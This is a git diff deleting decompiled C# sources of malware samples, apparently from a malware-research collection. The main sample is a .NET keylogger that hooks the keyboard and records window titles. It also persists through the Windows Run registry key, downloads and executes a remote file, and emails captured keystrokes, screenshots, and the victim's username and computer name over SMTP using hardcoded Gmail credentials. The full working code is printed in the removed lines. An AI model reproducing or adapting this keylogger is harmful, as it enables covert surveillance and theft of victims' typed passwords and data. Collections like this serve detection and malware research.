b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Trojan-Spy.MSIL.KeyLogger.cuw.sln deleted file mode 100644 index 52125b6a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Trojan-Spy.MSIL.KeyLogger.cuw.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LethalKeyloggerStubFREE", "Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c.csproj", "{C7F40FD9-B86B-4E3B-B019-43DE7A005067}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C7F40FD9-B86B-4E3B-B019-43DE7A005067}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C7F40FD9-B86B-4E3B-B019-43DE7A005067}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C7F40FD9-B86B-4E3B-B019-43DE7A005067}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C7F40FD9-B86B-4E3B-B019-43DE7A005067}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/DKZdzRzsT.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/DKZdzRzsT.cs deleted file mode 100644 index df16c9a6..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/DKZdzRzsT.cs +++ /dev/null @@ -1,216 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DKZdzRzsT -// Assembly: java, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4F52145B-C1A7-459C-A2DE-CBB30B6015C6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -public class DKZdzRzsT -{ - private static int INjfAiTYULSy; - private static DKZdzRzsT.QphyBhUjS NBAWOnoIUSzr; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int IotIDIvaQ( - int BJxmEPeOZ, - DKZdzRzsT.QphyBhUjS luvJzvJbK, - int kGpjtQnYe, - int kikJUBDRYaXk); - - [DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int YYJKLJgRQRhv( - int BJxmEPeOZ, - int lBWTnexoOosx, - int yULbvlLsrZrn, - ref DKZdzRzsT.EEUyKgrhVkOz HJFsnADcnlfF); - - [DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int zkssvUfPYYyr(int BJxmEPeOZ); - - public static event DKZdzRzsT.ofcThDZWxwfpEventHandler ofcThDZWxwfp; - - public static event DKZdzRzsT.cFgPcDbDdHZdEventHandler cFgPcDbDdHZd; - - public void gpQlWcgtIzEA() - { - DKZdzRzsT.NBAWOnoIUSzr = new DKZdzRzsT.QphyBhUjS(this.vYxruooJgorL); - DKZdzRzsT.INjfAiTYULSy = DKZdzRzsT.IotIDIvaQ(13, DKZdzRzsT.NBAWOnoIUSzr, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private int vYxruooJgorL( - int QrxnjBwOUEeK, - int yULbvlLsrZrn, - ref DKZdzRzsT.EEUyKgrhVkOz HJFsnADcnlfF) - { - if (QrxnjBwOUEeK == 0) - { - switch (yULbvlLsrZrn) - { - case 256: - case 260: - DKZdzRzsT.ofcThDZWxwfpEventHandler ofcThDzWxwfpEvent = DKZdzRzsT.ofcThDZWxwfpEvent; - if (ofcThDzWxwfpEvent != null) - { - ofcThDzWxwfpEvent(this.SWGNWtUkhPcx((Keys) HJFsnADcnlfF.QrxnjBwOUEeK)); - break; - } - break; - case 257: - case 261: - DKZdzRzsT.cFgPcDbDdHZdEventHandler fgPcDbDdHzdEvent = DKZdzRzsT.cFgPcDbDdHZdEvent; - if (fgPcDbDdHzdEvent != null) - { - fgPcDbDdHzdEvent(this.SWGNWtUkhPcx((Keys) HJFsnADcnlfF.QrxnjBwOUEeK)); - break; - } - break; - } - } - return DKZdzRzsT.YYJKLJgRQRhv(DKZdzRzsT.INjfAiTYULSy, QrxnjBwOUEeK, yULbvlLsrZrn, ref HJFsnADcnlfF); - } - - public void sAocURHikwJC() - { - DKZdzRzsT.zkssvUfPYYyr(DKZdzRzsT.INjfAiTYULSy); - // ISSUE: explicit finalizer call - this.Finalize(); - } - - private string SWGNWtUkhPcx(Keys jdVavzkBTWiZ) - { - Keys keys = jdVavzkBTWiZ; - if (keys >= Keys.A && keys <= Keys.Z) - return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? jdVavzkBTWiZ.ToString() : jdVavzkBTWiZ.ToString().ToLower(); - if (keys >= Keys.D0 && keys <= Keys.D9) - { - if ((Control.ModifierKeys & Keys.Shift) == Keys.None) - return jdVavzkBTWiZ.ToString().Replace("D", (string) null); - string Left = jdVavzkBTWiZ.ToString(); - if (Operators.CompareString(Left, "D1", false) == 0) - return "!"; - if (Operators.CompareString(Left, "D2", false) == 0) - return "@"; - if (Operators.CompareString(Left, "D3", false) == 0) - return "#"; - if (Operators.CompareString(Left, "D4", false) == 0) - return "$"; - if (Operators.CompareString(Left, "D5", false) == 0) - return "%"; - if (Operators.CompareString(Left, "D6", false) == 0) - return "^"; - if (Operators.CompareString(Left, "D7", false) == 0) - return "&"; - if (Operators.CompareString(Left, "D8", false) == 0) - return "*"; - if (Operators.CompareString(Left, "D9", false) == 0) - return "("; - if (Operators.CompareString(Left, "D0", false) == 0) - return ")"; - } - else - { - if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9) - return jdVavzkBTWiZ.ToString().Replace("NumPad", (string) null); - if (keys >= Keys.Multiply && keys <= Keys.Divide) - { - string Left = jdVavzkBTWiZ.ToString(); - if (Operators.CompareString(Left, "Divide", false) == 0) - return "/"; - if (Operators.CompareString(Left, "Multiply", false) == 0) - return "*"; - if (Operators.CompareString(Left, "Subtract", false) == 0) - return "-"; - if (Operators.CompareString(Left, "Add", false) == 0) - return "+"; - if (Operators.CompareString(Left, "Decimal", false) == 0) - return "."; - } - else - { - if (keys == Keys.Space) - return " "; - if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes) - { - if ((Control.ModifierKeys & Keys.Shift) != Keys.None) - { - string Left = jdVavzkBTWiZ.ToString(); - if (Operators.CompareString(Left, "OemMinus", false) == 0) - return "_"; - if (Operators.CompareString(Left, "Oemplus", false) == 0) - return "+"; - if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0) - return "{"; - if (Operators.CompareString(Left, "Oem6", false) == 0) - return "}"; - if (Operators.CompareString(Left, "Oem5", false) == 0) - return "|"; - if (Operators.CompareString(Left, "Oem1", false) == 0) - return ":"; - if (Operators.CompareString(Left, "Oem7", false) == 0) - return "\""; - if (Operators.CompareString(Left, "Oemcomma", false) == 0) - return "<"; - if (Operators.CompareString(Left, "OemPeriod", false) == 0) - return ">"; - if (Operators.CompareString(Left, "OemQuestion", false) == 0) - return "?"; - if (Operators.CompareString(Left, "Oemtilde", false) == 0) - return "~"; - } - else - { - string Left = jdVavzkBTWiZ.ToString(); - if (Operators.CompareString(Left, "OemMinus", false) == 0) - return "-"; - if (Operators.CompareString(Left, "Oemplus", false) == 0) - return "="; - if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0) - return "["; - if (Operators.CompareString(Left, "Oem6", false) == 0) - return "]"; - if (Operators.CompareString(Left, "Oem5", false) == 0) - return "\\"; - if (Operators.CompareString(Left, "Oem1", false) == 0) - return ";"; - if (Operators.CompareString(Left, "Oem7", false) == 0) - return "'"; - if (Operators.CompareString(Left, "Oemcomma", false) == 0) - return ","; - if (Operators.CompareString(Left, "OemPeriod", false) == 0) - return "."; - if (Operators.CompareString(Left, "OemQuestion", false) == 0) - return "/"; - if (Operators.CompareString(Left, "Oemtilde", false) == 0) - return "`"; - } - } - else - return keys == Keys.Return ? Environment.NewLine : "<" + jdVavzkBTWiZ.ToString() + ">"; - } - } - return (string) null; - } - - private delegate int QphyBhUjS( - int lBWTnexoOosx, - int yULbvlLsrZrn, - ref DKZdzRzsT.EEUyKgrhVkOz HJFsnADcnlfF); - - public delegate void ofcThDZWxwfpEventHandler(string INjfAiTYULSy); - - public delegate void cFgPcDbDdHZdEventHandler(string INjfAiTYULSy); - - private struct EEUyKgrhVkOz - { - public int QrxnjBwOUEeK; - public int kNhzkzfYLgTT; - public int NCfFJcIQQiBa; - public int YPuOHJbyQTtv; - public int iokNYhvntnbV; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/LEThjJw.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/LEThjJw.cs deleted file mode 100644 index 0c68ce62..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/LEThjJw.cs +++ /dev/null @@ -1,696 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LEThjJw -// Assembly: java, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4F52145B-C1A7-459C-A2DE-CBB30B6015C6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class LEThjJw -{ - public static Mutex jUOghDD; - public static string YNXdLBf = "JFKrvS"; - [AccessedThroughProperty("EuNPwTu")] - private static DKZdzRzsT _EuNPwTu; - public static string uGhrjxj; - public static string VBchppI; - public static string cvKkIsa; - public static string TynXgGx; - public static Thread hXIIvyR; - public static string LXDeEXv; - public static Process PQWnzcg; - [AccessedThroughProperty("rfBtxzm")] - private static System.Windows.Forms.Timer _rfBtxzm; - private const int aPnzoLC = 7; - private const int EyJcnQs = 1; - private const int kyYpCyb = 0; - public static string GoYVfC; - public static string uNIYXT; - public static string btclKj; - public static int fStbJf; - public static int TJnXhPZhz; - public static LEThjJw.SyEvtnLQc wjNJTYgQG; - public static string xcWgTs; - public static bool STCWkA; - public static bool xakvoU; - public static bool yZuOZd; - public static string geDJGkbRG; - public static string VNYEUyahw; - public static string ovERJrctj; - public static string YWYkXJTbH; - public static int ptfJVlPGe; - public static bool GmsYXVOwO; - - static LEThjJw() - { - LEThjJw.EuNPwTu = new DKZdzRzsT(); - LEThjJw.cvKkIsa = "GxBArV"; - LEThjJw.TynXgGx = "zWJrYn.exe"; - LEThjJw.rfBtxzm = new System.Windows.Forms.Timer(); - LEThjJw.GoYVfC = "wimbrol604@gmail.com"; - LEThjJw.uNIYXT = "vissemaar1"; - LEThjJw.btclKj = "smtp.gmail.com"; - LEThjJw.fStbJf = 587; - LEThjJw.TJnXhPZhz = 1; - LEThjJw.wjNJTYgQG = LEThjJw.SyEvtnLQc.TJTOFvGKL; - LEThjJw.xcWgTs = ""; - LEThjJw.STCWkA = false; - LEThjJw.xakvoU = false; - LEThjJw.yZuOZd = false; - LEThjJw.geDJGkbRG = ""; - LEThjJw.VNYEUyahw = ""; - LEThjJw.ovERJrctj = "Title"; - LEThjJw.YWYkXJTbH = "Message"; - LEThjJw.ptfJVlPGe = 0; - LEThjJw.GmsYXVOwO = false; - } - - public static DKZdzRzsT EuNPwTu - { - get => LEThjJw._EuNPwTu; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - DKZdzRzsT.ofcThDZWxwfpEventHandler wxwfpEventHandler = new DKZdzRzsT.ofcThDZWxwfpEventHandler(LEThjJw.oWBRXO); - if (LEThjJw._EuNPwTu != null) - DKZdzRzsT.ofcThDZWxwfp -= wxwfpEventHandler; - LEThjJw._EuNPwTu = value; - if (LEThjJw._EuNPwTu == null) - return; - DKZdzRzsT.ofcThDZWxwfp += wxwfpEventHandler; - } - } - - public static System.Windows.Forms.Timer rfBtxzm - { - get => LEThjJw._rfBtxzm; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(LEThjJw.odkGrW); - if (LEThjJw._rfBtxzm != null) - LEThjJw._rfBtxzm.Tick -= eventHandler; - LEThjJw._rfBtxzm = value; - if (LEThjJw._rfBtxzm == null) - return; - LEThjJw._rfBtxzm.Tick += eventHandler; - } - } - - [DllImport("kernel32.dll", EntryPoint = "GetConsoleWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr omgIEoC(); - - [DllImport("user32.dll", EntryPoint = "ShowWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int OQxuJnJ(IntPtr YDwstuk, int iwEOEDy); - - [DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int gAJgPgy(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int ekGjdmf(int YDwstuk, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lrmsAY, int JCkEyI); - - private static string cVuCUl() - { - string lrmsAY = new string(char.MinValue, 100); - LEThjJw.ekGjdmf(LEThjJw.gAJgPgy(), ref lrmsAY, 100); - return lrmsAY.Substring(0, checked (Strings.InStr(lrmsAY, "\0") - 1)); - } - - public static void lECEcS(string DPKNlQ, string vLavEF) - { - RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); - subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - subKey.SetValue(DPKNlQ, (object) vLavEF); - } - - public static void PZzjho(string DPKNlQ) - { - RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); - subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - subKey.DeleteValue(DPKNlQ, false); - } - - public static void EdTzAm(string aPJUJp) - { - try - { - Mutex.OpenExisting(aPJUJp); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - LEThjJw.jUOghDD = new Mutex(false, aPJUJp); - ProjectData.ClearProjectError(); - } - } - - public static string xniupr(int KERdnJ, int JcXJyI) - { - Random random = new Random(); - string str1 = (string) null; - string str2 = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM"; - int num1 = random.Next(checked (KERdnJ + 1), JcXJyI); - int num2 = 1; - while (num2 <= num1) - { - int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (str2.Length - 2) * VBMath.Rnd()) + 1f))); - str1 += Conversions.ToString(str2[index]); - checked { ++num2; } - } - return str1; - } - - private static void oWBRXO(string bLtJLQ) - { - if (Operators.CompareString(LEThjJw.VBchppI, LEThjJw.cVuCUl(), false) != 0) - { - LEThjJw.uGhrjxj = LEThjJw.uGhrjxj + "\r\n[TITLE: " + LEThjJw.cVuCUl() + "]:\r\n"; - LEThjJw.VBchppI = LEThjJw.cVuCUl(); - Console.WriteLine("\r\n[TITLE: " + LEThjJw.cVuCUl() + "]:"); - } - LEThjJw.uGhrjxj += bLtJLQ; - Console.Write(bLtJLQ); - } - - private static void odkGrW(object JGkBFP, EventArgs XAviVG) - { - Console.WriteLine("A new log is sending..."); - new Thread((ParameterizedThreadStart) (a0 => LEThjJw.cuhISQ(Conversions.ToString(a0)))) - { - IsBackground = true - }.Start((object) LEThjJw.uGhrjxj); - LEThjJw.uGhrjxj = ""; - } - - private static void cuhISQ(string aZxkJd) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string str = Path.GetTempPath() + "\\" + LEThjJw.xniupr(5, 10) + ".png"; -label_2: - num3 = 3; - if (!LEThjJw.STCWkA) - goto label_7; -label_3: - num3 = 4; - eGKfVnKcdYRn.VrSyKgXrYQA(); -label_4: - num3 = 5; - if (!System.IO.File.Exists(str)) - goto label_6; -label_5: - num3 = 6; - System.IO.File.Delete(str); -label_6: - num3 = 8; - eGKfVnKcdYRn.drXQPtwVsZb.Save(str, ImageFormat.Png); -label_7: - num3 = 10; - MailMessage message = new MailMessage(); -label_8: - num3 = 11; - SmtpClient smtpClient1 = new SmtpClient(LEThjJw.btclKj); -label_9: - num3 = 12; - SmtpClient smtpClient2 = smtpClient1; -label_10: - num3 = 13; - smtpClient2.EnableSsl = true; -label_11: - num3 = 14; - smtpClient2.Credentials = (ICredentialsByHost) new NetworkCredential(LEThjJw.GoYVfC, LEThjJw.uNIYXT); -label_12: - num3 = 15; - smtpClient2.Port = LEThjJw.fStbJf; -label_13: - smtpClient2 = (SmtpClient) null; -label_14: - num3 = 17; - MailMessage mailMessage = message; -label_15: - num3 = 18; - mailMessage.To.Add(LEThjJw.GoYVfC); -label_16: - num3 = 19; - mailMessage.From = new MailAddress(LEThjJw.GoYVfC); -label_17: - num3 = 20; - mailMessage.Subject = LEThjJw.xcWgTs; -label_18: - num3 = 21; - mailMessage.Body = aZxkJd; -label_19: - num3 = 22; - if (!LEThjJw.STCWkA) - goto label_21; -label_20: - num3 = 23; - mailMessage.Attachments.Add(new Attachment(str)); -label_21: - num3 = 25; - if (!LEThjJw.yZuOZd) - goto label_23; -label_22: - num3 = 26; - mailMessage.Body = "Victim Username: " + LEThjJw.VSbQJD().ToString() + "\r\n" + mailMessage.Body; -label_23: - num3 = 28; - if (!LEThjJw.xakvoU) - goto label_25; -label_24: - num3 = 29; - mailMessage.Body = "Victim Computer Name: " + MyProject.Computer.Name + "\r\n" + mailMessage.Body; -label_25: - mailMessage = (MailMessage) null; -label_26: - num3 = 32; - smtpClient1.Send(message); -label_27: - num3 = 33; - Console.WriteLine("##### Logs have been sent! #####"); - goto label_34; -label_29: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - case 8: - goto label_6; - case 9: - case 10: - goto label_7; - case 11: - goto label_8; - case 12: - goto label_9; - case 13: - goto label_10; - case 14: - goto label_11; - case 15: - goto label_12; - case 16: - goto label_13; - case 17: - goto label_14; - case 18: - goto label_15; - case 19: - goto label_16; - case 20: - goto label_17; - case 21: - goto label_18; - case 22: - goto label_19; - case 23: - goto label_20; - case 24: - case 25: - goto label_21; - case 26: - goto label_22; - case 27: - case 28: - goto label_23; - case 29: - goto label_24; - case 30: - case 31: - goto label_25; - case 32: - goto label_26; - case 33: - goto label_27; - case 34: - goto label_34; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_29; - } - throw ProjectData.CreateProjectError(-2146828237); -label_34: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static void usLQaN() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - WebClient webClient = new WebClient(); -label_2: - num3 = 3; - Uri address = new Uri(LEThjJw.geDJGkbRG); -label_3: - num3 = 4; - LEThjJw.LXDeEXv = Path.GetTempPath() + "\\" + LEThjJw.xniupr(5, 10) + ".exe"; -label_4: - num3 = 5; - webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(LEThjJw.RsszTlWvT); -label_5: - num3 = 6; - webClient.DownloadFileAsync(address, LEThjJw.LXDeEXv); - goto label_12; -label_7: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_12; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_7; - } - throw ProjectData.CreateProjectError(-2146828237); -label_12: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static void RsszTlWvT(object JGkBFP, AsyncCompletedEventArgs XAviVG) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process process = new Process(); -label_2: - num3 = 3; - ProcessStartInfo processStartInfo = process.StartInfo; -label_3: - num3 = 4; - processStartInfo.FileName = LEThjJw.LXDeEXv; -label_4: - num3 = 5; - processStartInfo.UseShellExecute = true; -label_5: - processStartInfo = (ProcessStartInfo) null; -label_6: - num3 = 7; - process.Start(); - goto label_13; -label_8: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_13; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_8; - } - throw ProjectData.CreateProjectError(-2146828237); -label_13: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static string VSbQJD() - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); - string str = folderPath.Remove(folderPath.LastIndexOf("\\")); - return str.Substring(checked (str.LastIndexOf("\\") + 1)); - } - - [STAThread] - public static void Main() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - LEThjJw.EdTzAm(LEThjJw.YNXdLBf); -label_2: - num3 = 3; - System.Windows.Forms.Timer timer = LEThjJw.rfBtxzm; -label_3: - num3 = 4; - timer.Interval = checked (LEThjJw.TJnXhPZhz * int.Parse(Conversions.ToString(unchecked ((int) LEThjJw.wjNJTYgQG)))); -label_4: - num3 = 5; - timer.Start(); -label_5: - timer = (System.Windows.Forms.Timer) null; -label_6: - num3 = 7; - LEThjJw.hXIIvyR = new Thread(new ThreadStart(LEThjJw.usLQaN)); -label_7: - num3 = 8; - Thread thread = LEThjJw.hXIIvyR; -label_8: - num3 = 9; - thread.IsBackground = true; -label_9: - num3 = 10; - thread.Start(); -label_10: - thread = (Thread) null; -label_11: - num3 = 12; - LEThjJw.PQWnzcg = new Process(); -label_12: - num3 = 13; - Process process = LEThjJw.PQWnzcg; -label_13: - num3 = 14; - process.StartInfo.FileName = LEThjJw.VNYEUyahw; -label_14: - num3 = 15; - process.StartInfo.UseShellExecute = true; -label_15: - num3 = 16; - process.Start(); -label_16: - process = (Process) null; -label_17: - num3 = 18; - if (!LEThjJw.GmsYXVOwO) - goto label_19; -label_18: - num3 = 19; - int num4 = (int) Interaction.MsgBox((object) LEThjJw.YWYkXJTbH, (MsgBoxStyle) LEThjJw.ptfJVlPGe, (object) LEThjJw.ovERJrctj); -label_19: - num3 = 21; - Console.WriteLine("SkyNeos V1.0 Keylogger Engine Started Successfully!"); -label_20: - num3 = 22; - string str = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); -label_21: - num3 = 23; - MyProject.Computer.FileSystem.CreateDirectory(str + "\\" + LEThjJw.cvKkIsa); -label_22: - num3 = 24; - str = str + "\\" + LEThjJw.cvKkIsa + "\\" + LEThjJw.TynXgGx; -label_23: - num3 = 25; - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, str, true); -label_24: - num3 = 26; - LEThjJw.lECEcS(LEThjJw.cvKkIsa, str); -label_25: - num3 = 27; - LEThjJw.EuNPwTu.gpQlWcgtIzEA(); -label_26: - num3 = 28; - Application.Run(); - goto label_33; -label_28: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - case 21: - goto label_19; - case 22: - goto label_20; - case 23: - goto label_21; - case 24: - goto label_22; - case 25: - goto label_23; - case 26: - goto label_24; - case 27: - goto label_25; - case 28: - goto label_26; - case 29: - goto label_33; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_28; - } - throw ProjectData.CreateProjectError(-2146828237); -label_33: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public enum SyEvtnLQc - { - BwVthTFrr = 1, - RkvWHnktc = 1000, // 0x000003E8 - TJTOFvGKL = 60000, // 0x0000EA60 - HaJtfVFda = 3600000, // 0x0036EE80 - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyApplication.cs deleted file mode 100644 index 496f994f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: java, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4F52145B-C1A7-459C-A2DE-CBB30B6015C6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyComputer.cs deleted file mode 100644 index a725f599..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: java, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4F52145B-C1A7-459C-A2DE-CBB30B6015C6 -// Assembly location: 